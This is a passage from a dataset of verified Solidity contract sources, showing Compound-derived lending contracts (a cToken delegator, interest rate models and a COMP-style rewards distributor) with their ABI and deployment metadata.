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CErc20Delegator | CErc20Delegator.sol | 0xd7a7ab9aae5e9862b964c4e010340239bd272ccb | Solidity | pragma solidity ^0.5.16;
import "./CTokenInterfaces.sol";
import "./ComptrollerStorage.sol";
/**
* @title Compound's CErc20Delegator Contract
* @notice CTokens which wrap an EIP-20 underlying and delegate to an implementation
* @author Compound
*/
contract CErc20Delegator is CDelegationStorage {
/**
* @notice Construct a new money market
* @param underlying_ The address of the underlying asset
* @param comptroller_ The address of the Comptroller
* @param interestRateModel_ The address of the interest rate model
* @param name_ ERC-20 name of this token
* @param symbol_ ERC-20 symbol of this token
* @param implementation_ The address of the implementation the contract delegates to
* @param becomeImplementationData The encoded args for becomeImplementation
*/
constructor(address underlying_,
ComptrollerInterface comptroller_,
InterestRateModel interestRateModel_,
string memory name_,
string memory symbol_,
address implementation_,
bytes memory becomeImplementationData,
uint256 reserveFactorMantissa_,
uint256 adminFeeMantissa_) public {
// First delegate gets to initialize the delegator (i.e. storage contract)
delegateTo(implementation_, abi.encodeWithSignature("initialize(address,address,address,string,string,uint256,uint256)",
underlying_,
comptroller_,
interestRateModel_,
name_,
symbol_,
reserveFactorMantissa_,
adminFeeMantissa_));
// New implementations always get set via the settor (post-initialize)
delegateTo(implementation_, abi.encodeWithSignature("_setImplementationSafe(address,bool,bytes)", implementation_, false, becomeImplementationData));
}
/**
* @notice Internal method to delegate execution to another contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* @param callee The contract to delegatecall
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateTo(address callee, bytes memory data) internal returns (bytes memory) {
(bool success, bytes memory returnData) = callee.delegatecall(data);
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize)
}
}
return returnData;
}
/**
* @notice Delegates execution to an implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
*/
function () external payable {
// Cannot send value to CErc20Delegator
require(msg.value == 0, "CErc20Delegator:fallback: cannot send value to fallback");
// Check for automatic implementation
delegateTo(implementation, abi.encodeWithSignature("_prepare()"));
// delegate all other functions to current implementation
(bool success, ) = implementation.delegatecall(msg.data);
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(free_mem_ptr, returndatasize) }
}
}
} | [{"inputs":[{"internalType":"address","name":"underlying_","type":"address"},{"internalType":"contract ComptrollerInterface","name":"comptroller_","type":"address"},{"internalType":"contract InterestRateModel","name":"interestRateModel_","type":"address"},{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"implementation_","type":"address"},{"internalType":"bytes","name":"becomeImplementationData","type":"bytes"},{"internalType":"uint256","name":"reserveFactorMantissa_","type":"uint256"},{"internalType":"uint256","name":"adminFeeMantissa_","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | 0000000000000000000000004e3fbd56cd56c3e72c1403e103b45db9da5b9d2b000000000000000000000000d04010e5618d48625f6d9dfbc8e10e39c6349b77000000000000000000000000cdc0a449e011249482824effcfa05c883d36cfc70000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000016000000000000000000000000067db14e73c2dce786b5bbbfa4d010deab4bbfcf900000000000000000000000000000000000000000000000000000000000001a0000000000000000000000000000000000000000000000000016345785d8a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001ff09f97bf2044654669204c656167756520436f6e7665782046696e616e6365000000000000000000000000000000000000000000000000000000000000000007664356582d36340000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000 | Default | BSD-3-Clause | true | 0x102fe02ad4f1e3af3594526817d055260b5f7190 | bzzr://05c7822f7294a2303680b0d2b051bee472cd65b928fd92bacf345e29e5b26c9f |
|
CErc20Delegator | DAIInterestRateModelV2.sol | 0xd7a7ab9aae5e9862b964c4e010340239bd272ccb | Solidity | pragma solidity ^0.5.16;
import "./JumpRateModel.sol";
import "./SafeMath.sol";
/**
* @title Compound's DAIInterestRateModel Contract (version 2)
* @author Compound (modified by Dharma Labs)
* @notice The parameterized model described in section 2.4 of the original Compound Protocol whitepaper.
* Version 2 modifies the original interest rate model by increasing the "gap" or slope of the model prior
* to the "kink" from 0.05% to 2% with the goal of "smoothing out" interest rate changes as the utilization
* rate increases.
*/
contract DAIInterestRateModelV2 is JumpRateModel {
using SafeMath for uint;
/**
* @notice The additional margin per block separating the base borrow rate from the roof (2% / block).
* Note that this value has been increased from the original value of 0.05% per block.
*/
uint public constant gapPerBlock = 2e16 / blocksPerYear;
/**
* @notice The assumed (1 - reserve factor) used to calculate the minimum borrow rate (reserve factor = 0.05)
*/
uint public constant assumedOneMinusReserveFactorMantissa = 0.95e18;
PotLike pot;
JugLike jug;
/**
* @notice Construct an interest rate model
* @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point
* @param kink_ The utilization point at which the jump multiplier is applied
* @param pot_ The address of the Dai pot (where DSR is earned)
* @param jug_ The address of the Dai jug (where SF is kept)
*/
constructor(uint jumpMultiplierPerYear, uint kink_, address pot_, address jug_) JumpRateModel(0, 0, jumpMultiplierPerYear, kink_) public {
pot = PotLike(pot_);
jug = JugLike(jug_);
poke();
}
/**
* @notice Calculates the current supply interest rate per block including the Dai savings rate
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amnount of reserves the market has
* @param reserveFactorMantissa The current reserve factor the market has
* @return The supply rate per block (as a percentage, and scaled by 1e18)
*/
function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) public view returns (uint) {
uint protocolRate = super.getSupplyRate(cash, borrows, reserves, reserveFactorMantissa);
uint underlying = cash.add(borrows).sub(reserves);
if (underlying == 0) {
return protocolRate;
} else {
uint cashRate = cash.mul(dsrPerBlock()).div(underlying);
return cashRate.add(protocolRate);
}
}
/**
* @notice Calculates the Dai savings rate per block
* @return The Dai savings rate per block (as a percentage, and scaled by 1e18)
*/
function dsrPerBlock() public view returns (uint) {
return pot
.dsr().sub(1e27) // scaled 1e27 aka RAY, and includes an extra "ONE" before subraction
.div(1e9) // descale to 1e18
.mul(15); // 15 seconds per block
}
/**
* @notice Resets the baseRate and multiplier per block based on the stability fee and Dai savings rate
*/
function poke() public {
(uint duty, ) = jug.ilks("ETH-A");
uint stabilityFeePerBlock = duty.add(jug.base()).sub(1e27).mul(1e18).div(1e27).mul(15);
// We ensure the minimum borrow rate >= DSR / (1 - reserve factor)
baseRatePerBlock = dsrPerBlock().mul(1e18).div(assumedOneMinusReserveFactorMantissa);
// The roof borrow rate is max(base rate, stability fee) + gap, from which we derive the slope
if (baseRatePerBlock < stabilityFeePerBlock) {
multiplierPerBlock = stabilityFeePerBlock.sub(baseRatePerBlock).add(gapPerBlock).mul(1e18).div(kink);
} else {
multiplierPerBlock = gapPerBlock.mul(1e18).div(kink);
}
emit NewInterestParams(baseRatePerBlock, multiplierPerBlock, jumpMultiplierPerBlock, kink);
}
}
/*** Maker Interfaces ***/
contract PotLike {
function chi() external view returns (uint);
function dsr() external view returns (uint);
function rho() external view returns (uint);
function pie(address) external view returns (uint);
function drip() external returns (uint);
function join(uint) external;
function exit(uint) external;
}
contract JugLike {
// --- Data ---
struct Ilk {
uint256 duty;
uint256 rho;
}
mapping (bytes32 => Ilk) public ilks;
uint256 public base;
} | [{"inputs":[{"internalType":"address","name":"underlying_","type":"address"},{"internalType":"contract ComptrollerInterface","name":"comptroller_","type":"address"},{"internalType":"contract InterestRateModel","name":"interestRateModel_","type":"address"},{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"implementation_","type":"address"},{"internalType":"bytes","name":"becomeImplementationData","type":"bytes"},{"internalType":"uint256","name":"reserveFactorMantissa_","type":"uint256"},{"internalType":"uint256","name":"adminFeeMantissa_","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | 0000000000000000000000004e3fbd56cd56c3e72c1403e103b45db9da5b9d2b000000000000000000000000d04010e5618d48625f6d9dfbc8e10e39c6349b77000000000000000000000000cdc0a449e011249482824effcfa05c883d36cfc70000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000016000000000000000000000000067db14e73c2dce786b5bbbfa4d010deab4bbfcf900000000000000000000000000000000000000000000000000000000000001a0000000000000000000000000000000000000000000000000016345785d8a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001ff09f97bf2044654669204c656167756520436f6e7665782046696e616e6365000000000000000000000000000000000000000000000000000000000000000007664356582d36340000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000 | Default | BSD-3-Clause | true | 0x102fe02ad4f1e3af3594526817d055260b5f7190 | bzzr://05c7822f7294a2303680b0d2b051bee472cd65b928fd92bacf345e29e5b26c9f |
|
CErc20Delegator | JumpRateModel.sol | 0xd7a7ab9aae5e9862b964c4e010340239bd272ccb | Solidity | pragma solidity ^0.5.16;
import "./InterestRateModel.sol";
import "./SafeMath.sol";
/**
* @title Compound's JumpRateModel Contract
* @author Compound
*/
contract JumpRateModel is InterestRateModel {
using SafeMath for uint;
event NewInterestParams(uint baseRatePerBlock, uint multiplierPerBlock, uint jumpMultiplierPerBlock, uint kink);
/**
* @notice The approximate number of blocks per year that is assumed by the interest rate model
*/
uint public constant blocksPerYear = 2102400;
/**
* @notice The multiplier of utilization rate that gives the slope of the interest rate
*/
uint public multiplierPerBlock;
/**
* @notice The base interest rate which is the y-intercept when utilization rate is 0
*/
uint public baseRatePerBlock;
/**
* @notice The multiplierPerBlock after hitting a specified utilization point
*/
uint public jumpMultiplierPerBlock;
/**
* @notice The utilization point at which the jump multiplier is applied
*/
uint public kink;
/**
* @notice Construct an interest rate model
* @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18)
* @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18)
* @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point
* @param kink_ The utilization point at which the jump multiplier is applied
*/
constructor(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_) public {
baseRatePerBlock = baseRatePerYear.div(blocksPerYear);
multiplierPerBlock = multiplierPerYear.div(blocksPerYear);
jumpMultiplierPerBlock = jumpMultiplierPerYear.div(blocksPerYear);
kink = kink_;
emit NewInterestParams(baseRatePerBlock, multiplierPerBlock, jumpMultiplierPerBlock, kink);
}
/**
* @notice Calculates the utilization rate of the market: `borrows / (cash + borrows - reserves)`
* @param cash The amount of cash in the market
* @param borrows The amount of borrows in the market
* @param reserves The amount of reserves in the market (currently unused)
* @return The utilization rate as a mantissa between [0, 1e18]
*/
function utilizationRate(uint cash, uint borrows, uint reserves) public pure returns (uint) {
// Utilization rate is 0 when there are no borrows
if (borrows == 0) {
return 0;
}
return borrows.mul(1e18).div(cash.add(borrows).sub(reserves));
}
/**
* @notice Calculates the current borrow rate per block, with the error code expected by the market
* @param cash The amount of cash in the market
* @param borrows The amount of borrows in the market
* @param reserves The amount of reserves in the market
* @return The borrow rate percentage per block as a mantissa (scaled by 1e18)
*/
function getBorrowRate(uint cash, uint borrows, uint reserves) public view returns (uint) {
uint util = utilizationRate(cash, borrows, reserves);
if (util <= kink) {
return util.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock);
} else {
uint normalRate = kink.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock);
uint excessUtil = util.sub(kink);
return excessUtil.mul(jumpMultiplierPerBlock).div(1e18).add(normalRate);
}
}
/**
* @notice Calculates the current supply rate per block
* @param cash The amount of cash in the market
* @param borrows The amount of borrows in the market
* @param reserves The amount of reserves in the market
* @param reserveFactorMantissa The current reserve factor for the market
* @return The supply rate percentage per block as a mantissa (scaled by 1e18)
*/
function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) public view returns (uint) {
uint oneMinusReserveFactor = uint(1e18).sub(reserveFactorMantissa);
uint borrowRate = getBorrowRate(cash, borrows, reserves);
uint rateToPool = borrowRate.mul(oneMinusReserveFactor).div(1e18);
return utilizationRate(cash, borrows, reserves).mul(rateToPool).div(1e18);
}
} | [{"inputs":[{"internalType":"address","name":"underlying_","type":"address"},{"internalType":"contract ComptrollerInterface","name":"comptroller_","type":"address"},{"internalType":"contract InterestRateModel","name":"interestRateModel_","type":"address"},{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"implementation_","type":"address"},{"internalType":"bytes","name":"becomeImplementationData","type":"bytes"},{"internalType":"uint256","name":"reserveFactorMantissa_","type":"uint256"},{"internalType":"uint256","name":"adminFeeMantissa_","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | 0000000000000000000000004e3fbd56cd56c3e72c1403e103b45db9da5b9d2b000000000000000000000000d04010e5618d48625f6d9dfbc8e10e39c6349b77000000000000000000000000cdc0a449e011249482824effcfa05c883d36cfc70000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000016000000000000000000000000067db14e73c2dce786b5bbbfa4d010deab4bbfcf900000000000000000000000000000000000000000000000000000000000001a0000000000000000000000000000000000000000000000000016345785d8a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001ff09f97bf2044654669204c656167756520436f6e7665782046696e616e6365000000000000000000000000000000000000000000000000000000000000000007664356582d36340000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000 | Default | BSD-3-Clause | true | 0x102fe02ad4f1e3af3594526817d055260b5f7190 | bzzr://05c7822f7294a2303680b0d2b051bee472cd65b928fd92bacf345e29e5b26c9f |
|
CErc20Delegator | RewardsDistributorDelegate.sol | 0xd7a7ab9aae5e9862b964c4e010340239bd272ccb | Solidity | pragma solidity ^0.5.16;
import "./CToken.sol";
import "./ExponentialNoError.sol";
import "./Comptroller.sol";
import "./RewardsDistributorStorage.sol";
/**
* @title RewardsDistributorDelegate (COMP distribution logic extracted from `Comptroller`)
* @author Compound
*/
contract RewardsDistributorDelegate is RewardsDistributorDelegateStorageV1, ExponentialNoError {
/// @dev Notice that this contract is a RewardsDistributor
bool public constant isRewardsDistributor = true;
/// @notice Emitted when pendingAdmin is changed
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
/// @notice Emitted when pendingAdmin is accepted, which means admin is updated
event NewAdmin(address oldAdmin, address newAdmin);
/// @notice Emitted when a new COMP speed is calculated for a market
event CompSupplySpeedUpdated(CToken indexed cToken, uint newSpeed);
/// @notice Emitted when a new COMP speed is calculated for a market
event CompBorrowSpeedUpdated(CToken indexed cToken, uint newSpeed);
/// @notice Emitted when a new COMP speed is set for a contributor
event ContributorCompSpeedUpdated(address indexed contributor, uint newSpeed);
/// @notice Emitted when COMP is distributed to a supplier
event DistributedSupplierComp(CToken indexed cToken, address indexed supplier, uint compDelta, uint compSupplyIndex);
/// @notice Emitted when COMP is distributed to a borrower
event DistributedBorrowerComp(CToken indexed cToken, address indexed borrower, uint compDelta, uint compBorrowIndex);
/// @notice Emitted when COMP is granted by admin
event CompGranted(address recipient, uint amount);
/// @notice The initial COMP index for a market
uint224 public constant compInitialIndex = 1e36;
/// @dev Intitializer to set admin to caller and set reward token
function initialize(address _rewardToken) external {
require(msg.sender == admin, "Only admin can initialize.");
require(rewardToken == address(0), "Already initialized.");
require(_rewardToken != address(0), "Cannot initialize reward token to the zero address.");
rewardToken = _rewardToken;
}
/*** Set Admin ***/
/**
* @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @param newPendingAdmin New pending admin.
*/
function _setPendingAdmin(address newPendingAdmin) external {
// Check caller = admin
require(msg.sender == admin, "RewardsDistributor:_setPendingAdmin: admin only");
// Save current value, if any, for inclusion in log
address oldPendingAdmin = pendingAdmin;
// Store pendingAdmin with value newPendingAdmin
pendingAdmin = newPendingAdmin;
// Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin)
emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);
}
/**
* @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin
* @dev Admin function for pending admin to accept role and update admin
*/
function _acceptAdmin() external {
// Check caller is pendingAdmin and pendingAdmin ≠ address(0)
require(msg.sender == pendingAdmin && msg.sender != address(0), "RewardsDistributor:_acceptAdmin: pending admin only");
// Save current values for inclusion in log
address oldAdmin = admin;
address oldPendingAdmin = pendingAdmin;
// Store admin with value pendingAdmin
admin = pendingAdmin;
// Clear the pending value
pendingAdmin = address(0);
emit NewAdmin(oldAdmin, admin);
emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);
}
/*** Comp Distribution ***/
/**
* @notice Check the cToken before adding
* @param cToken The market to add
*/
function checkCToken(CToken cToken) internal view {
// Make sure cToken is listed
Comptroller comptroller = Comptroller(address(cToken.comptroller()));
(bool isListed, ) = comptroller.markets(address(cToken));
require(isListed == true, "comp market is not listed");
// Make sure distributor is added
bool distributorAdded = false;
address[] memory distributors = comptroller.getRewardsDistributors();
for (uint256 i = 0; i < distributors.length; i++) if (distributors[i] == address(this)) distributorAdded = true;
require(distributorAdded == true, "distributor not added");
}
/**
* @notice Set COMP speed for a single market
* @param cToken The market whose COMP speed to update
* @param compSpeed New COMP speed for market
*/
function setCompSupplySpeedInternal(CToken cToken, uint compSpeed) internal {
uint currentCompSpeed = compSupplySpeeds[address(cToken)];
if (currentCompSpeed != 0) {
// note that COMP speed could be set to 0 to halt liquidity rewards for a market
updateCompSupplyIndex(address(cToken));
} else if (compSpeed != 0) {
// Make sure cToken is listed and distributor is added
checkCToken(cToken);
// Add the COMP market
if (compSupplyState[address(cToken)].index == 0) {
compSupplyState[address(cToken)] = CompMarketState({
index: compInitialIndex,
block: safe32(getBlockNumber(), "block number exceeds 32 bits")
});
// Add to allMarkets array if not already there
if (compBorrowState[address(cToken)].index == 0) {
allMarkets.push(cToken);
}
} else {
// Update block number to ensure extra interest is not accrued during the prior period
compSupplyState[address(cToken)].block = safe32(getBlockNumber(), "block number exceeds 32 bits");
}
}
if (currentCompSpeed != compSpeed) {
compSupplySpeeds[address(cToken)] = compSpeed;
emit CompSupplySpeedUpdated(cToken, compSpeed);
}
}
/**
* @notice Set COMP speed for a single market
* @param cToken The market whose COMP speed to update
* @param compSpeed New COMP speed for market
*/
function setCompBorrowSpeedInternal(CToken cToken, uint compSpeed) internal {
uint currentCompSpeed = compBorrowSpeeds[address(cToken)];
if (currentCompSpeed != 0) {
// note that COMP speed could be set to 0 to halt liquidity rewards for a market
Exp memory borrowIndex = Exp({mantissa: cToken.borrowIndex()});
updateCompBorrowIndex(address(cToken), borrowIndex);
} else if (compSpeed != 0) {
// Make sure cToken is listed and distributor is added
checkCToken(cToken);
// Add the COMP market
if (compBorrowState[address(cToken)].index == 0) {
compBorrowState[address(cToken)] = CompMarketState({
index: compInitialIndex,
block: safe32(getBlockNumber(), "block number exceeds 32 bits")
});
// Add to allMarkets array if not already there
if (compSupplyState[address(cToken)].index == 0) {
allMarkets.push(cToken);
}
} else {
// Update block number to ensure extra interest is not accrued during the prior period
compBorrowState[address(cToken)].block = safe32(getBlockNumber(), "block number exceeds 32 bits");
}
}
if (currentCompSpeed != compSpeed) {
compBorrowSpeeds[address(cToken)] = compSpeed;
emit CompBorrowSpeedUpdated(cToken, compSpeed);
}
}
/**
* @notice Accrue COMP to the market by updating the supply index
* @param cToken The market whose supply index to update
*/
function updateCompSupplyIndex(address cToken) internal {
CompMarketState storage supplyState = compSupplyState[cToken];
uint supplySpeed = compSupplySpeeds[cToken];
uint blockNumber = getBlockNumber();
uint deltaBlocks = sub_(blockNumber, uint(supplyState.block));
if (deltaBlocks > 0 && supplySpeed > 0) {
uint supplyTokens = CToken(cToken).totalSupply();
uint compAccrued_ = mul_(deltaBlocks, supplySpeed);
Double memory ratio = supplyTokens > 0 ? fraction(compAccrued_, supplyTokens) : Double({mantissa: 0});
Double memory index = add_(Double({mantissa: supplyState.index}), ratio);
compSupplyState[cToken] = CompMarketState({
index: safe224(index.mantissa, "new index exceeds 224 bits"),
block: safe32(blockNumber, "block number exceeds 32 bits")
});
} else if (deltaBlocks > 0 && supplyState.index > 0) {
supplyState.block = safe32(blockNumber, "block number exceeds 32 bits");
}
}
/**
* @notice Accrue COMP to the market by updating the borrow index
* @param cToken The market whose borrow index to update
*/
function updateCompBorrowIndex(address cToken, Exp memory marketBorrowIndex) internal {
CompMarketState storage borrowState = compBorrowState[cToken];
uint borrowSpeed = compBorrowSpeeds[cToken];
uint blockNumber = getBlockNumber();
uint deltaBlocks = sub_(blockNumber, uint(borrowState.block));
if (deltaBlocks > 0 && borrowSpeed > 0) {
uint borrowAmount = div_(CToken(cToken).totalBorrows(), marketBorrowIndex);
uint compAccrued_ = mul_(deltaBlocks, borrowSpeed);
Double memory ratio = borrowAmount > 0 ? fraction(compAccrued_, borrowAmount) : Double({mantissa: 0});
Double memory index = add_(Double({mantissa: borrowState.index}), ratio);
compBorrowState[cToken] = CompMarketState({
index: safe224(index.mantissa, "new index exceeds 224 bits"),
block: safe32(blockNumber, "block number exceeds 32 bits")
});
} else if (deltaBlocks > 0 && borrowState.index > 0) {
borrowState.block = safe32(blockNumber, "block number exceeds 32 bits");
}
}
/**
* @notice Calculate COMP accrued by a supplier and possibly transfer it to them
* @param cToken The market in which the supplier is interacting
* @param supplier The address of the supplier to distribute COMP to
*/
function distributeSupplierComp(address cToken, address supplier) internal {
CompMarketState storage supplyState = compSupplyState[cToken];
Double memory supplyIndex = Double({mantissa: supplyState.index});
Double memory supplierIndex = Double({mantissa: compSupplierIndex[cToken][supplier]});
compSupplierIndex[cToken][supplier] = supplyIndex.mantissa;
if (supplierIndex.mantissa == 0 && supplyIndex.mantissa > 0) {
supplierIndex.mantissa = compInitialIndex;
}
Double memory deltaIndex = sub_(supplyIndex, supplierIndex);
uint supplierTokens = CToken(cToken).balanceOf(supplier);
uint supplierDelta = mul_(supplierTokens, deltaIndex);
uint supplierAccrued = add_(compAccrued[supplier], supplierDelta);
compAccrued[supplier] = supplierAccrued;
emit DistributedSupplierComp(CToken(cToken), supplier, supplierDelta, supplyIndex.mantissa);
}
/**
* @notice Calculate COMP accrued by a borrower and possibly transfer it to them
* @dev Borrowers will not begin to accrue until after the first interaction with the protocol.
* @param cToken The market in which the borrower is interacting
* @param borrower The address of the borrower to distribute COMP to
*/
function distributeBorrowerComp(address cToken, address borrower, Exp memory marketBorrowIndex) internal {
CompMarketState storage borrowState = compBorrowState[cToken];
Double memory borrowIndex = Double({mantissa: borrowState.index});
Double memory borrowerIndex = Double({mantissa: compBorrowerIndex[cToken][borrower]});
compBorrowerIndex[cToken][borrower] = borrowIndex.mantissa;
if (borrowerIndex.mantissa > 0) {
Double memory deltaIndex = sub_(borrowIndex, borrowerIndex);
uint borrowerAmount = div_(CToken(cToken).borrowBalanceStored(borrower), marketBorrowIndex);
uint borrowerDelta = mul_(borrowerAmount, deltaIndex);
uint borrowerAccrued = add_(compAccrued[borrower], borrowerDelta);
compAccrued[borrower] = borrowerAccrued;
emit DistributedBorrowerComp(CToken(cToken), borrower, borrowerDelta, borrowIndex.mantissa);
}
}
/**
* @notice Keeps the flywheel moving pre-mint and pre-redeem
* @dev Called by the Comptroller
* @param cToken The relevant market
* @param supplier The minter/redeemer
*/
function flywheelPreSupplierAction(address cToken, address supplier) external {
if (compSupplyState[cToken].index > 0) {
updateCompSupplyIndex(cToken);
distributeSupplierComp(cToken, supplier);
}
}
/**
* @notice Keeps the flywheel moving pre-borrow and pre-repay
* @dev Called by the Comptroller
* @param cToken The relevant market
* @param borrower The borrower
*/
function flywheelPreBorrowerAction(address cToken, address borrower) external {
if (compBorrowState[cToken].index > 0) {
Exp memory borrowIndex = Exp({mantissa: CToken(cToken).borrowIndex()});
updateCompBorrowIndex(cToken, borrowIndex);
distributeBorrowerComp(cToken, borrower, borrowIndex);
}
}
/**
* @notice Keeps the flywheel moving pre-transfer and pre-seize
* @dev Called by the Comptroller
* @param cToken The relevant market
* @param src The account which sources the tokens
* @param dst The account which receives the tokens
*/
function flywheelPreTransferAction(address cToken, address src, address dst) external {
if (compSupplyState[cToken].index > 0) {
updateCompSupplyIndex(cToken);
distributeSupplierComp(cToken, src);
distributeSupplierComp(cToken, dst);
}
}
/**
* @notice Calculate additional accrued COMP for a contributor since last accrual
* @param contributor The address to calculate contributor rewards for
*/
function updateContributorRewards(address contributor) public {
uint compSpeed = compContributorSpeeds[contributor];
uint blockNumber = getBlockNumber();
uint deltaBlocks = sub_(blockNumber, lastContributorBlock[contributor]);
if (deltaBlocks > 0 && compSpeed > 0) {
uint newAccrued = mul_(deltaBlocks, compSpeed);
uint contributorAccrued = add_(compAccrued[contributor], newAccrued);
compAccrued[contributor] = contributorAccrued;
lastContributorBlock[contributor] = blockNumber;
}
}
/**
* @notice Claim all the comp accrued by holder in all markets
* @param holder The address to claim COMP for
*/
function claimRewards(address holder) public {
return claimRewards(holder, allMarkets);
}
/**
* @notice Claim all the comp accrued by holder in the specified markets
* @param holder The address to claim COMP for
* @param cTokens The list of markets to claim COMP in
*/
function claimRewards(address holder, CToken[] memory cTokens) public {
address[] memory holders = new address[](1);
holders[0] = holder;
claimRewards(holders, cTokens, true, true);
}
/**
* @notice Claim all comp accrued by the holders
* @param holders The addresses to claim COMP for
* @param cTokens The list of markets to claim COMP in
* @param borrowers Whether or not to claim COMP earned by borrowing
* @param suppliers Whether or not to claim COMP earned by supplying
*/
function claimRewards(address[] memory holders, CToken[] memory cTokens, bool borrowers, bool suppliers) public {
for (uint i = 0; i < cTokens.length; i++) {
CToken cToken = cTokens[i];
if (borrowers == true && compBorrowState[address(cToken)].index > 0) {
Exp memory borrowIndex = Exp({mantissa: cToken.borrowIndex()});
updateCompBorrowIndex(address(cToken), borrowIndex);
for (uint j = 0; j < holders.length; j++) {
distributeBorrowerComp(address(cToken), holders[j], borrowIndex);
}
}
if (suppliers == true && compSupplyState[address(cToken)].index > 0) {
updateCompSupplyIndex(address(cToken));
for (uint j = 0; j < holders.length; j++) {
distributeSupplierComp(address(cToken), holders[j]);
}
}
}
for (uint j = 0; j < holders.length; j++) {
compAccrued[holders[j]] = grantCompInternal(holders[j], compAccrued[holders[j]]);
}
}
/**
* @notice Transfer COMP to the user
* @dev Note: If there is not enough COMP, we do not perform the transfer all.
* @param user The address of the user to transfer COMP to
* @param amount The amount of COMP to (possibly) transfer
* @return The amount of COMP which was NOT transferred to the user
*/
function grantCompInternal(address user, uint amount) internal returns (uint) {
EIP20NonStandardInterface comp = EIP20NonStandardInterface(rewardToken);
uint compRemaining = comp.balanceOf(address(this));
if (amount > 0 && amount <= compRemaining) {
comp.transfer(user, amount);
return 0;
}
return amount;
}
/*** Comp Distribution Admin ***/
/**
* @notice Transfer COMP to the recipient
* @dev Note: If there is not enough COMP, we do not perform the transfer all.
* @param recipient The address of the recipient to transfer COMP to
* @param amount The amount of COMP to (possibly) transfer
*/
function _grantComp(address recipient, uint amount) public {
require(msg.sender == admin, "only admin can grant comp");
uint amountLeft = grantCompInternal(recipient, amount);
require(amountLeft == 0, "insufficient comp for grant");
emit CompGranted(recipient, amount);
}
/**
* @notice Set COMP speed for a single market
* @param cToken The market whose COMP speed to update
* @param compSpeed New COMP speed for market
*/
function _setCompSupplySpeed(CToken cToken, uint compSpeed) public {
require(msg.sender == admin, "only admin can set comp speed");
setCompSupplySpeedInternal(cToken, compSpeed);
}
/**
* @notice Set COMP speed for a single market
* @param cToken The market whose COMP speed to update
* @param compSpeed New COMP speed for market
*/
function _setCompBorrowSpeed(CToken cToken, uint compSpeed) public {
require(msg.sender == admin, "only admin can set comp speed");
setCompBorrowSpeedInternal(cToken, compSpeed);
}
/**
* @notice Set COMP borrow and supply speeds for the specified markets.
* @param cTokens The markets whose COMP speed to update.
* @param supplySpeeds New supply-side COMP speed for the corresponding market.
* @param borrowSpeeds New borrow-side COMP speed for the corresponding market.
*/
function _setCompSpeeds(CToken[] memory cTokens, uint[] memory supplySpeeds, uint[] memory borrowSpeeds) public {
require(msg.sender == admin, "only admin can set comp speed");
uint numTokens = cTokens.length;
require(numTokens == supplySpeeds.length && numTokens == borrowSpeeds.length, "RewardsDistributor::_setCompSpeeds invalid input");
for (uint i = 0; i < numTokens; ++i) {
setCompSupplySpeedInternal(cTokens[i], supplySpeeds[i]);
setCompBorrowSpeedInternal(cTokens[i], borrowSpeeds[i]);
}
}
/**
* @notice Set COMP speed for a single contributor
* @param contributor The contributor whose COMP speed to update
* @param compSpeed New COMP speed for contributor
*/
function _setContributorCompSpeed(address contributor, uint compSpeed) public {
require(msg.sender == admin, "only admin can set comp speed");
